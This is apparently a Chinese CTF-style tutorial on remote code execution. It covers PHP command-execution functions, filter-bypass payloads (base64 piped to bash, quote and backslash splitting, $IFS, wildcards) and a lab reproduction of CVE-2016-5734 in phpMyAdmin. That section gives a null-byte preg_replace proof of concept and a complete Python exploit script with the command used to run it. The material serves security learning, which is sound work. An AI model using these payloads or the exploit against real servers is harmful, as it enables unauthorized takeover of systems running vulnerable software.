简单介绍
RCE,远程代码执行漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。
原理
一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口。比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上。一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。 如果,设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器。 现在很多的企业都开始实施自动化运维,大量的系统操作会通过“自动化运维平台”进行操作。在这种平台上往往会出现远程系统命令执行的漏洞。
远程代码执行同样的道理,因为需求设计,后台有时候也会把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。 不管是使用了代码执行的函数,还是使用了不安全的反序列化等等。 因此,如果需要给前端用户提供操作类的API接口,一定需要对接口输入的内容进行严格的判断,比如实施严格的白名单策略会是一个比较好的方法。
简单而言,根本原因是服务器没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令。
了解一下常见的命令执行函数
1.system()
system()函数会调用fork()产生子进程,由子进程调用/bin/sh -c command
执行特定的命令,暂停当前进程直到command命令执行完毕,当此命令执行完后随即返回原调用的进程。
eg.
int system(const char * cmdstring)
{
pid_t pid;
int status;
if(cmdstring == NULL){
return (1);
}
if((pid = fork())<0){
status = -1;
}
else if(pid == 0){
execl("/bin/sh", "sh", "-c", cmdstring, (char *)0);
_exit(127); //子进程正常执行则不会执行此语句
}
else{
while(waitpid(pid, &status, 0) < 0){
if(errno != EINTER){
status = -1;
break;
}
}
}
return status;
}
当system()正常执行,将返回命令的退出码;
当返回值为127,相当于执行了exit函数,而自身命令没有执行;
当返回值为-1,代表没有执行system调用。
2.exec()
exec()函数也会执行commad命令,但是与system()的不同主要在于exec()并不会调用fork()产生新进程、暂停原命令来执行新命令,而是直接覆盖原命令,对返回值有影响。
并且exec执行command命令时,不会输出全部结果,而是返回结果的最后一行。
exec()函数原型如下:
string exec (string $command ,array $output ,int $return_var );
若想返回全部结果,需要使用第二个参数,让其输出到一个数组,数组的每一个记录代表了输出的每一行。
eg.
<?php
exec('ls /var/www');
?>
可以看到执行后是没有输出的
修改一下
<?php
exec('ls /var/www');
print_r($arr);
?>
输出结果
Array
(
[0] => index.php
[1] => list.txt
[2] => rce.php
)
3.shell_exec()
shell_exec()环境在shell下执行命令,所以只适用于Linux和Mac_OS,并且将完整的输出以字符串的方式返回。如果执行过程中发生错误或者进程不产生输出,则返回 NULL。
eg.
<?php
$output = shell_exec('ls');
echo "$output";
?>
输出结果如下:
index.php
list.txt
rce.php
4.passthru()
passthru()函数原型:void passthru (string $command , int $return_var);
passthru直接将结果输出,不返回结果。
Windows系统命令拼接方式
“|”:管道符,前面命令标准输出,后面命令的标准输入。例如:help | more
“&” commandA & commandB 先运行命令A,然后运行命令B
“||” commandA || commandB 运行命令A,如果失败则运行命令B
“&&” commandA && commandB 运行命令A,如果成功则运行命令B
关于绕过的小技巧
许多题目和实战中,RCE往往与上传webshell联系,而且基本会有waf和一定程度的过滤,然后一起写一下。
php字符被过滤
如果php被过滤了,我们可以使用短标签绕过。常见的php标签为<?php ?>;
,如果php字符被过滤了,可以用短标签<?= ?>;
可以再举个栗子:system字符被过滤
反引号 ` 可以直接执行命令,需要搭配echo()函数来输出回显。
然后灵活贯通,结合上面两种方式构造一个简洁的命令执行语句。
<?=echo `ls /`?>;
空格被过滤
常见绕过方式有利用URL编码:%20、%09(tab)
还有利用$IFS$9
、$IFS$1
等内部域分隔符,可以看这篇文章[【shell】IFS和$*变量 - 简书 (jianshu.com)]
{}也可以,比如这样{cat,flag}
某些关键字被过滤
为了防止直接cat /flag
,很多题目就把一些函数名称过滤掉。但是绕过方法有很多,选一个适合的就好。
常见的编码绕过:base64编码绕过
echo "Y2F0IC9mbGFn"|base64 -d|bash //cat /flag
引号绕过
ph""p => php
ca""t => cat
偶读拼接绕过
?ip=192.168.0.1;a=l;b=s;$a$b
反斜杠 \ 绕过
ca\t => cat
fl\ag => flag
ph\p => php
通配符绕过(参考P牛的文章,大佬tql)[无字母数字webshell之提高篇 | 离别歌 (leavesongs.com)]还有WHOAMI大佬的老生常谈的无字母数字 Webshell 总结 - FreeBuf网络安全行业门户
shell下可以利用.来执行任意脚本
Linux文件名支持用glob通配符代替
/?url=192.168.0.1|cat%09/fla?
/?url=192.168.0.1|cat%09/fla*
[PHPmyadmin] CVE-2016-5734 复现
借用了BuuCTF的靶机^_^
CVE-2016-5734在exploit-db上也就是phpMyAdmin 4.6.2 - Authenticated Remote Code Execution,意即phpMyAdmin认证用户的远程代码执行,根据描述可知受影响的phpMyAdmin所有的 4.6.x 版本(直至 4.6.3),4.4.x 版本(直至 4.4.15.7),和 4.0.x 版本(直至 4.0.10.16)。 CVE的作者利用在php 5.4.7之前的版本中preg_replace函数对空字节的错误处理Bug,使注入的代码可远程执行。
漏洞分析
首先来说说preg_replace
函数:preg_replace.
函数执行一个正则表达式的搜索和替换。
再来说说什么是preg_replace \e
的作用:
如果设置了这个被弃用的修饰符,preg_replace()
在进行了对替换字符串的 后向引用替换之后, 将替换后的字符串作为php 代码评估执行(eval 函数方式),并使用执行结果 作为实际参与替换的字符串。单引号、双引号、反斜线()和 NULL 字符在 后向引用替换时会被用反斜线转义。
举个栗子
<?php
highlight_file(__FILE__);
$raw = $_GET['raw'];
$replace = $_GET['replace'];
$text = $_GET['text'];
$text = preg_replace('/'.$raw.'/e', $replace, $text);
?>
POC
?raw=a&replace=system("ls")&text=larry
会引起漏洞。
如果栗子变成如下代码:
<?php
highlight_file(__FILE__);
$raw = $_GET['raw'];
$replace = $_GET['replace'];
$text = $_GET['text'];
$text = preg_replace('/'.$raw.'/i', $replace, $text);
?>
其实还是可以绕过的,当php版本小于5.4.7时,向pattern中注入空字符产生截断,并传入e修饰符,依照能照成PHP代码执行。
POC
?raw=a/e%00&replace=system(%22ls%22)&text=larry
这样也会引起漏洞。
漏洞利用
#!/usr/bin/env python
"""cve-2016-5734.py: PhpMyAdmin 4.3.0 - 4.6.2 authorized user RCE exploit
Details: Working only at PHP 4.3.0-5.4.6 versions, because of regex break with null byte fixed in PHP 5.4.7.
CVE: CVE-2016-5734
Author: https://twitter.com/iamsecurity
run: ./cve-2016-5734.py -u root --pwd="" http://localhost/pma -c "system('ls -lua');"
"""
import requests
import argparse
import sys
__author__ = "@iamsecurity"
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument("url", type=str, help="URL with path to PMA")
parser.add_argument("-c", "--cmd", type=str, help="PHP command(s) to eval()")
parser.add_argument("-u", "--user", required=True, type=str, help="Valid PMA user")
parser.add_argument("-p", "--pwd", required=True, type=str, help="Password for valid PMA user")
parser.add_argument("-d", "--dbs", type=str, help="Existing database at a server")
parser.add_argument("-T", "--table", type=str, help="Custom table name for exploit.")
arguments = parser.parse_args()
url_to_pma = arguments.url
uname = arguments.user
upass = arguments.pwd
if arguments.dbs:
db = arguments.dbs
else:
db = "test"
token = False
custom_table = False
if arguments.table:
custom_table = True
table = arguments.table
else:
table = "prgpwn"
if arguments.cmd:
payload = arguments.cmd
else:
payload = "system('uname -a');"
size = 32
s = requests.Session()
# you can manually add proxy support it's very simple ;)
# s.proxies = {'http': "127.0.0.1:8080", 'https': "127.0.0.1:8080"}
s.verify = False
sql = '''CREATE TABLE `{0}` (
`first` varchar(10) CHARACTER SET utf8 NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
INSERT INTO `{0}` (`first`) VALUES (UNHEX('302F6500'));
'''.format(table)
# get_token
resp = s.post(url_to_pma + "/?lang=en", dict(
pma_username=uname,
pma_password=upass
))
if resp.status_code is 200:
token_place = resp.text.find("token=") + 6
token = resp.text[token_place:token_place + 32]
if token is False:
print("Cannot get valid authorization token.")
sys.exit(1)
if custom_table is False:
data = {
"is_js_confirmed": "0",
"db": db,
"token": token,
"pos": "0",
"sql_query": sql,
"sql_delimiter": ";",
"show_query": "0",
"fk_checks": "0",
"SQL": "Go",
"ajax_request": "true",
"ajax_page_request": "true",
}
resp = s.post(url_to_pma + "/import.php", data, cookies=requests.utils.dict_from_cookiejar(s.cookies))
if resp.status_code == 200:
if "success" in resp.json():
if resp.json()["success"] is False:
first = resp.json()["error"][resp.json()["error"].find("<code>")+6:]
error = first[:first.find("</code>")]
if "already exists" in error:
print(error)
else:
print("ERROR: " + error)
sys.exit(1)
# build exploit
exploit = {
"db": db,
"table": table,
"token": token,
"goto": "sql.php",
"find": "0/e\0",
"replaceWith": payload,
"columnIndex": "0",
"useRegex": "on",
"submit": "Go",
"ajax_request": "true"
}
resp = s.post(
url_to_pma + "/tbl_find_replace.php", exploit, cookies=requests.utils.dict_from_cookiejar(s.cookies)
)
if resp.status_code == 200:
result = resp.json()["message"][resp.json()["message"].find("</a>")+8:]
if len(result):
print("result: " + result)
sys.exit(0)
print(
"Exploit failed!\n"
"Try to manually set exploit parameters like --table, --database and --token.\n"
"Remember that servers with PHP version greater than 5.4.6"
" is not exploitable, because of warning about null byte in regexp"
)
sys.exit(1)
python3 cve-2016-5734.py -c 'system(env);'-u root -p root -d test http://node3.buuoj.cn:29272
代码执行成功,得到flag。